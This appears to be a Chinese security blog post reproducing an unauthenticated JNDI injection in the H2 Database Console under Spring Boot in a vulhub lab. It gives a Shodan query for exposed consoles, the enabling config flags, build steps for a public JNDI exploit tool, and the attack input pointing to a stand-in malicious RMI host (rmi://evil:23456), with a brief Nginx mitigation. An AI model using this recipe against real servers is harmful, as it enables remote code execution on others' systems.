H2 Database Console 未授权访问JNDI注入漏洞复现

H2 Database Console 未授权访问JNDI注入漏洞复现

漏洞简述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权。可通过jndi注入实现命令执行。

Shodan搜索语法

http.title:"H2 Console"

漏洞影响范围

spring boot 配置中开启:

  • spring.h2.console.enabled=true
  • spring.h2.console.settings.web-allow-others=true

漏洞exp

https://github.com/su18/JNDI

漏洞环境搭建

使用vulhub进行复现,搭建好环境后访问 http://127.0.0.1:8080/h2-console。

但在spring boot的默认配置中是没有配置h2数据库的。

要使用 H2数据库,需要pom.xml引入依赖。

dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-jpa</artifactId>
    <version>2.2.6.RELEASE</version>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
    <version>1.4.199</version>
</dependency>

默认情况下application.properties文件中不存在以下配置。

spring.h2.console.enabled=true

可以作为基线检查项,如果存在以上配置可直接访问 http://ip:port/h2-console

漏洞复现

借助jndi的工具进行复现。

git clone https://github.com/su18/JNDI
cd JNDI
mvn install

修改config.properties配置文件jndi注入成功后创建文件。

然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名和URL地址。

在H2页面内填入对应的值,javax.naming.InitialContext是JNDI的工厂类,URL rmi://evil:23456/BypassByEL是运行JNDI工具监听的RMI地址。

点击连接后,恶意RMI成功接收到请求。

文件写入成功。

溯源排查

无相关日志可排查。

修复方式

可以使用Nginx再代理一层,限制直接对/h2-console路径的访问。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论